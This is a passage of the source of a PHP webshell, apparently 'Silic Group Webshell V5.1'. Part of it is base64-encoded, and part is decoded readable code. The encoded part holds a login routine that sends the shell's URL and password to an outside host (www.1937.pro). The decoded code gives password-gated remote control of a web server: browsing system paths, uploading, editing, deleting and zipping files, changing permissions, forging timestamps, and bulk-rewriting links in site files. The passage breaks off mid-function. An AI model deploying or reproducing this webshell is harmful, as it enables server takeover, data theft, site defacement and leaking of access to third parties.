lkPSJ0XzciIG9uY2xpY2s9InN3aXRjaFRhYigndF83JykiIHRhcmdldD0ibWFpbiI+xuTL/Mr9vt2/4jwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWUiIGlkPSJ0XzgiIG9uY2xpY2s9InN3aXRjaFRhYigndF84JykiIHRhcmdldD0ibWFpbiI+yajD6MS+wu08L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1qIiBpZD0idF85IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfOScpIiB0YXJnZXQ9Im1haW4iPsvRy/fOxLz+PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9ZCIgaWQ9InRfMTAiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMCcpIiB0YXJnZXQ9Im1haW4iPsX6wb/M5ru7PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9bCIgaWQ9InRfMTEiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMScpIiB0YXJnZXQ9Im1haW4iPlNlcnZVzOHIqDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWprIiBpZD0idF8xMiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEyJykiIHRhcmdldD0ibWFpbiI+V2lu1+m8/jwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWRkIiBpZD0idF8xMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEzJykiIHRhcmdldD0ibWFpbiI+t7S1r8GsvdM8L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1mZiIgaWQ9InRfMTQiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xNCcpIiB0YXJnZXQ9Im1haW4iPta00NBwaHC0+sLrPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9emEiIGlkPSJ0XzE1IiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMTUnKSIgdGFyZ2V0PSJtYWluIj5aSVC94tG5PC9hPjwvbGk+PC91bD48L3RkPjx0ZD4NCjxpZnJhbWUgbmFtZT0ibWFpbiIgc3JjPSI/cz1hIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGNsYXNzPSJmb290ZXIiPlN0YXRlOiBQb3dlcmVkIEJ5IDxhIGhyZWY9Imh0dHA6Ly9ibGFja2JhcC5vcmcvIiB0YXJnZXQ9Il9ibGFuayI+U2lsaWMgR3JvdXA8L2E+IFsgaHR0cDovL2JsYWNrYmFwLm9yZyBdIC0gV2Vic2hlbGwgVjUuMTwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+DQpFTkQ7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9DQoJCS8qtcfCvc/gudi94cr4Ki8NCgkJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCgkJew0KCQkJJF9HRVQgPSBSb290X0dQKCRfR0VUKTsNCgkJCSRfUE9TVCA9IFJvb3RfR1AoJF9QT1NUKTsNCgkJfQ0KDQpmdW5jdGlvbiBQdXJsKCkNCnsNCiAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgIGlmICgkX1NFUlZFUlsiSFRUUFMiXSA9PSAib24iKQ0KICAgIHsNCiAgICAgICAgJHBhZ2VVUkwgLj0gInMiOw0KICAgIH0NCiAgICAkcGFnZVVSTCAuPSAiOi8vIjsNCg0KICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKQ0KICAgIHsNCiAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0gLiAiOiIgLiAkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkcGFnZVVSTCAuPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAgIH0NCiAgICByZXR1cm4gJHBhZ2VVUkw7DQp9DQokR0VUVVJMPVB1cmwoKTsNCg0KCQlpZigkX0NPT0tJRVsnYWRtaW5fc2lsaWNwYXNzJ10gIT0gbWQ1KCRwYXNzd29yZCkpDQoJCXsNCgkJCW9iX3N0YXJ0KCk7DQoJCQkkTVNHX1RPUCA9ICdMT0dJTic7DQoJCQlpZihpc3NldCgkcGFzc3QpKQ0KCQkJew0KCQkJCSRjb29raWV0aW1lID0gdGltZSgpICsgMjQgKiAzNjAwOw0KCQkJCXNldGNvb2tpZSgnYWRtaW5fc2lsaWNwYXNzJyxtZDUoJHBhc3N0KSwkY29va2lldGltZSk7DQoJCQkJDQoJCQkJDQoJCQkJaWYobWQ1KCRwYXNzdCkgPT0gbWQ1KCRwYXNzd29yZCkpew0KCQkJCQlmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy4xOTM3LnByby8vaW5kZXgucGhwL2luZGV4L2FwaS9hZGQ/dXJsPXskR0VUVVJMfSZwPXskcHN3fSIpOw0KCQkJCQlkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT8iPicpO30NCgkJCQllbHNleyRNU0dfVE9QID0gJ1BBU1MgSVMgRkFMU0UnO30NCgkJCX0NCgkJCVJvb3RfTG9naW4oJE1TR19UT1ApOw0KCQkJb2JfZW5kX2ZsdXNoKCk7DQoJCQlleGl0Ow0KCQl9DQoJCWlmKGlzc2V0KCRfR0VUWydzJ10pKXskcyA9ICRfR0VUWydzJ107aWYoJHMgIT0gJ2EnICYmICRzICE9ICduJylSb290X0NTUygpO31lbHNleyRzID0gJ015TmFtZUlzSGFja2VyJzt9DQoJCSRwID0gaXNzZXQoJF9HRVRbJ3AnXSkgPyAkX0dFVFsncCddIDogRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykpOw0KCQlzd2l0Y2goJHMpew0KCQkJY2FzZSJhIjpGaWxlX2EoJHApO2JyZWFrOw0KCQkJY2FzZSJkIjpUaWh1YW5fZCgpO2JyZWFrOw0KCQkJY2FzZSJlIjpBbnRpdmlydXNfZSgpO2JyZWFrOw0KCQkJY2FzZSJmIjpJbmZvX2YoKTticmVhazsNCgkJCWNhc2UiZyI6RXhlY19nKCk7YnJlYWs7DQoJCQljYXNlImkiOlBvcnRfaSgpO2JyZWFrOw0KCQkJY2FzZSJqIjpGaW5kZmlsZV9qKCk7YnJlYWs7DQoJCQljYXNlImprIjp3aW5zaGVsbCgpO2JyZWFrOw0KCQkJY2FzZSJsIjpTZXJ2dV9sKCk7YnJlYWs7DQoJCQljYXNlIm4iOk15c3FsX24oKTticmVhazsNCgkJCWNhc2UibyI6TXlzcWxfbygpO2JyZWFrOw0KCQkJY2FzZSJwIjpGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10pOyBicmVhazsNCgkJCWNhc2UicHEiOlBncl9zcWwoKTsgYnJlYWs7DQoJCQljYXNlInEiOkZpbGVfU291cCgkcCk7IGJyZWFrOw0KCQkJY2FzZSJyIjpNeXNxbF9Nc2coKTsgYnJlYWs7DQoJCQljYXNlImRkIjpiYWNrY29ubigpO2JyZWFrOw0KCQkJY2FzZSJmZiI6cGhwY29kZSgpO2JyZWFrOw0KCQkJY2FzZSJnZyI6b3RoZXJkYigpO2JyZWFrOw0KCQkJY2FzZSJ6YSI6emlwYWN0KCk7YnJlYWs7DQoJCQlkZWZhdWx0Oldpbk1haW4oKTticmVhazsNCgkJfQ0K'));}
---------------------Decode End----------------------------------
---------------------Decode Start--------------------------------
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gbk");
set_time_limit(0);
function Root_GP(&$array)
{
	while(list($key,$var) = each($array))
	{
		if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
		{
			if(is_string($var)) $array[$key] = stripslashes($var);
			if(is_array($var)) $array[$key] = Root_GP($var);
		}
	}
	return $array;
}
$salt = "myshell";
$psw = trim($_POST['silicpass']);
$password = "86fd56167e9b46c94ed1076e1407c9e0";
$passt = $salt.$psw;
$passt = md5(md5(md5($passt)));
$asse='asert';
function Root_CSS()
{
	print<<<END
<style type="text/css">
*{padding:0; margin:0;}
body{background:threedface;font-family:"Verdana","Tahoma","",sans-serif;font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
a{color:#000000;text-decoration:none;}
a:hover{background:#BBBBBB;}
table{color:#000000;font-family:"Verdana","Tahoma","",sans-serif;font-size:13px;border:1px solid #999999;}
td{background:#F9F6F4;}
.toptd{background:threedface;width:310px;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;}
.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
</style>\n
END;
	return false;
}
//
class packdir
{
	var $out='';
	var $datasec=array();
	var $ctrl_dir=array();
	var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset=0;
	function packdir($array)
	{
		if(@function_exists('gzcompress'))
		{
			for($n = 0;$n < count($array);$n++)
			{
				$array[$n] = urldecode($array[$n]);
				$fp = @fopen($array[$n], 'r');
				$filecode = @fread($fp, @filesize($array[$n]));
				@fclose($fp);
				$this -> filezip($filecode,basename($array[$n]));
			}
			@closedir($zhizhen);
			$this->out = $this->packfile();
			return true;
		}
		return false;
	}

	function at($atunix = 0)
	{
		$unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
		if ($unixarr['year'] < 1980)
		{
			$unixarr['year']    = 1980;
			$unixarr['mon']     = 1;
			$unixarr['mday']    = 1;
			$unixarr['hours']   = 0;
			$unixarr['minutes'] = 0;
			$unixarr['seconds'] = 0;
		}
		return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
	}
	function filezip($data, $name, $time = 0)
	{
		$name = str_replace('\\', '/', $name);
		$dtime = dechex($this->at($time));
		$hexdtime	= '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;
		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$this -> datasec[] = $fr;
		$new_offset = strlen(implode('', $this->datasec));
		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;
		$this -> ctrl_dir[] = $cdrec;
	}
	function packfile()
	{
		$data    = implode('', $this -> datasec);
		$ctrldir = implode('', $this -> ctrl_dir);
		return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
	}
}
function File_Str($string)
{
	return str_replace('//','/',str_replace('\\','/',$string));
}
function File_Size($size)
{
	if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
	elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
	elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
	else $size = $size . ' B';
	return $size;
}
function File_Mode()
{
	$RealPath = realpath('./');
	$SelfPath = $_SERVER['PHP_SELF'];
	$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
	return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}
function File_Read($filename)
{
	$handle = @fopen($filename,"rb");
	$filecode = @fread($handle,@filesize($filename));
	@fclose($handle);
	return $filecode;
}
function File_Write($filename,$filecode,$filemode)
{
	$key = true;
	$handle = @fopen($filename,$filemode);
	if(!@fwrite($handle,$filecode))
	{
		@chmod($filename,0666);
		$key = @fwrite($handle,$filecode) ? true : false;
	}
	@fclose($handle);
	return $key;
}
function File_Up($filea,$fileb)
{
	$key = @copy($filea,$fileb) ? true : false;
	if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
	return $key;
}
function File_Down($filename)
{
	if(!file_exists($filename)) return false;
	$filedown = basename($filename);
	$array = explode('.', $filedown);
	$arrayend = array_pop($array);
	header('Content-type: application/x-'.$arrayend);
	header('Content-Disposition: attachment; filename='.$filedown);
	header('Content-Length: '.filesize($filename));
	@readfile($filename);
	exit;
}
function File_Deltree($deldir)
{
	if(($mydir = @opendir($deldir)) == NULL) return false;
	while(false !== ($file = @readdir($mydir)))
	{
		$name = File_Str($deldir.'/'.$file);
		if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);}
		if(is_file($name)){@chmod($name,0777);@unlink($name);}
	}
	@closedir($mydir);
	@chmod($deldir,0777);
	return @rmdir($deldir) ? true : false;
}
function File_Act($array,$actall,$inver)
{
	if(($count = count($array)) == 0) return '';
	if($actall == 'e')
	{
		$zip = new packdir;
		if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}
		return '';
	}
	$i = 0;
	while($i < $count)
	{
		$array[$i] = urldecode($array[$i]);
		switch($actall)
		{
			case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return ''; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = ''.$inver.''; break;
			case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = ''; break;
			case "c" : if(!eregi("^[0-7]{4}$",$inver)) return ''; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = ''.$inver; break;
			case "d" : @touch($array[$i],strtotime($inver)); $msg = ''.$inver; break;
		}
		$i++;
	}
	return ''.$msg.'';
}
function File_Edit($filepath,$filename,$dim = '')
{
	$THIS_DIR = urlencode($filepath);
	$THIS_FILE = File_Str($filepath.'/'.$filename);
	if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));}
	else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';}
	print<<<END
<script language="javascript">
var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
	var txt, i, found;
	if(str == "")return false;
	if(NS4){
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
		if(n == 0) alert(str + " ... Not-Find")
	}
	if(IE4){
		txt = win.document.body.createTextRange();
		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
			txt.moveStart("character", 1);
			txt.moveEnd("textedit")
		}
		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
	}
	return false
}
function CheckDate(){
	var re = document.getElementById('mtime').value;
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
	var r = re.match(reg);
	if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
	else{document.getElementById('editor').submit();}
}
</script>
<div class="actall">: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="" onclick="search(searchs.value)"></div>
<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
<div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
<div class="actall"> <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
<div class="actall"><input type="button" value="" onclick="CheckDate();" style="width:80px;">
<input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
}
function File_Soup($p)
{
	$THIS_DIR = urlencode($p);
	$UP_SIZE = get_cfg_var('upload_max_filesize');
	$MSG_BOX = ':'.$UP_SIZE.', (new.php),,.';
	if(!empty($_POST['updir']))
	{
		if(count($_FILES['soup']) >= 1)
		{
			$i = 0;
			foreach ($_FILES['soup']['error'] as $key => $error)
			{
				if ($error == UPLOAD_ERR_OK)
				{
					$souptmp = $_FILES['soup']['tmp_name'][$key];
					if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key];
					$MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'' : $soupname.'';
				}
				$i++;
			}
		}
		else
		{
			$MSG_BOX = '';
		}
	}
	print<<<END
<div class="msgbox">{$MSG_BOX}</div>
<form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data">
<div class="actall">: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div>
<div class="actall">1 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div>
<div class="actall">2 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div>
<div class="actall">3 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div>
<div class="actall">4 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div>
<div class="actall">5 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div>
<div class="actall">6 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div>
<div class="actall">7 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div>
<div class="actall">8 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div>
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
}
function File_a($p)
{
	if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
	$MSG_BOX = '';
	$UP_DIR = urlencode(File_Str($p.'/..'));
	$REAL_DIR = File_Str(realpath($p));
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
	$THIS_DIR = urlencode(File_Str($REAL_DIR));
	$NUM_D = 0;
	$NUM_F = 0;
	if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? ' '.$_POST['pfn'].' ' : ' '.$_POST['pfn'].' ';@touch($_POST['pfn'],$intime);}
	if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? ' '.$upfilename.' ' : ' '.$upfilename.' ';}
	if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);}
	if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = ''; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? ' '.$modfile.'  '.$_GET['md'].' ' : ' '.$modfile.'  '.$_GET['md'].' ';}
	if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? ' '.$_GET['mn'].'  '.$_GET['rn'].' ' : ' '.$_GET['mn'].'  '.$_GET['rn'].' ';}
	if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? ' '.$_GET['dn'].' ' : ' '.$_GET['dn'].' ';}
	if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? ' '.$_GET['dd'].' ' : ' '.$_GET['dd'].' ';}
	if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '';}
	Root_CSS();
	print<<<END
<script type="text/javascript">
	function Inputok(msg,gourl)
	{
		smsg = ":[" + msg + "]";
		re = prompt(smsg,unescape(msg));
		if(re)
		{
			var url = gourl + escape(re);
			window.location = url;
		}
	}
	function Delok(msg,gourl)
	{
		smsg = "[" + unescape(msg) + "]?";
		if(confirm(smsg))
		{
			if(gourl == 'b')
			{
				document.getElementById('actall').value = escape(gourl);
				document.getElementById('fileall').submit();
			}
			else window.location = gourl;
		}
	}
	function CheckDate(msg,gourl)
	{
		smsg = ":[" + msg + "]";
		re = prompt(smsg,msg);
		if(re)
		{
			var url = gourl + re;
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
			var r = re.match(reg);
			if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
		}
	}
	function CheckAll(form)
	{
		for(var i=0;i<form.elements.length;i++)
		{
			var e = form.elements[i];
			if (e.name != 'chkall')
			e.checked = form.chkall.checked;
		}
	}
	function SubmitUrl(msg,txt,actid)
	{
		re = prompt(msg,unescape(txt));
		if(re)
		{
			document.getElementById('actall').value = actid;
			document.getElementById('inver').value = escape(re);
			document.getElementById('fileall').submit();
		}
	}
</script>
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
	<option>------</option>
	<option value="{$ROOT_DIR}"></option>
	<option value="{$FILE_DIR}"></option>
	<option value="C:/">C</option>
	<option value="D:/">D</option>
	<option value="E:/">E</option>
	<option value="F:/">F</option>
	<option value="C:/Documents and Settings/All Users///"></option>
	<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">()</option>
	<option value="C:/RECYCLER"></option>
	<option value="C:/Program Files">Programs</option>
	<option value="/etc">etc</option>
	<option value="/home">home</option>
	<option value="/usr/local">Local</option>
	<option value="/tmp">Temp</option>
</select><input type="submit" value="" style="width:50px;"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
	<input type="button" value="" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
	<input type="button" value="" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
	<input type="button" value="" onclick="window.location='?s=q&p={$REAL_DIR}';">
	<input type="file" name="ufp" style="width:300px;height:22px;">
	<input type="text" name="ufn" style="width:121px;height:22px;">
	<input type="submit" value="" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b></b></a></td>
<td class="toptd" style="width:80px;">  </td><td class="toptd" style="width:48px;">  </td><td class="toptd" style="width:173px;">  </td><td class="toptd" style="width:75px;">  </td></tr>
END;
	if(($h_d = @opendir($p)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' or $Filename == '..') continue;
		$Filepath = File_Str($REAL_DIR.'/'.$Filename);
		if(is_dir($Filepath))
		{
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
			$Filepath = urlencode($Filepath);
			echo "\r\n".' <tr><td> <a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b> '.$Filename.' </b></a> </td> ';
			$Filename = urlencode($Filename);
			echo ' <td> <a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;">  </a> ';
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;">  </a> </td> ';
			echo ' <td> <a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;"> '.$Fileperm.' </a> </td> ';
			echo ' <td>'.$Filetime.'</td> ';
			echo ' <td> </td> </tr>'."\r\n";
			$NUM_D++;
		}
	}
	@rewinddir($h_d);
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' or $Filename == '..') continue;
		$Filepath = File_Str($REAL_DIR.'/'.$Filename);
		if(!is_dir($Filepath))
		{
			$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath);
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
			$Filesize = File_Size(@filesize($Filepath));
			if($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">'.$Filename.'</font>'; else $fname = $Filename;
			echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>';
			$Filepath = urlencode($Filepath);
			$Filename = urlencode($Filename);
			echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'">  </a> ';
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;">  </a> </td>';
			echo ' <td>'.$Fileperm.'</td> ';
			echo ' <td>'.$Filetime.'</td> ';
			echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n";
			$NUM_F++;
		}
	}
	@closedir($h_d);
	if(!$Filetime) $Filetime = '2009-01-01 00:00:00';
	print<<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="" onclick="SubmitUrl(': ','{$THIS_DIR}','a');return false;">
<input type="button" value="" onclick="Delok('','b');return false;">
<input type="button" value="" onclick="SubmitUrl(': ','0666','c');return false;">
<input type="button" value="" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="" onclick="SubmitUrl(': ','silic.gz','e');return false;">
({$NUM_D}) / ({$NUM_F})</div> </form>
END;
	return true;
}
//
function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb)
{
	if(($h_d = @opendir($tp)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		$Filepath = File_Str($tp.'/'.$Filename);
		if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb);
		$doing = false;
		if(eregi($tt,$Filename))
		{
			$ic = File_Read($Filepath);
			if($th)
			{
				if(!stristr($ic,$tca)) continue;
				$ic = str_replace($tca,$tcb,$ic);
				$doing = true;
			}
			else
			{
				preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc);
				for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}}
			}
			if($td) $ftime = @filemtime($Filepath);
			if($doing) echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600">:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">:</font>'.$Filepath.' <br>'."\r\n";
			if($td) @touch($Filepath,$ftime);
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}
function Tihuan_d()
{
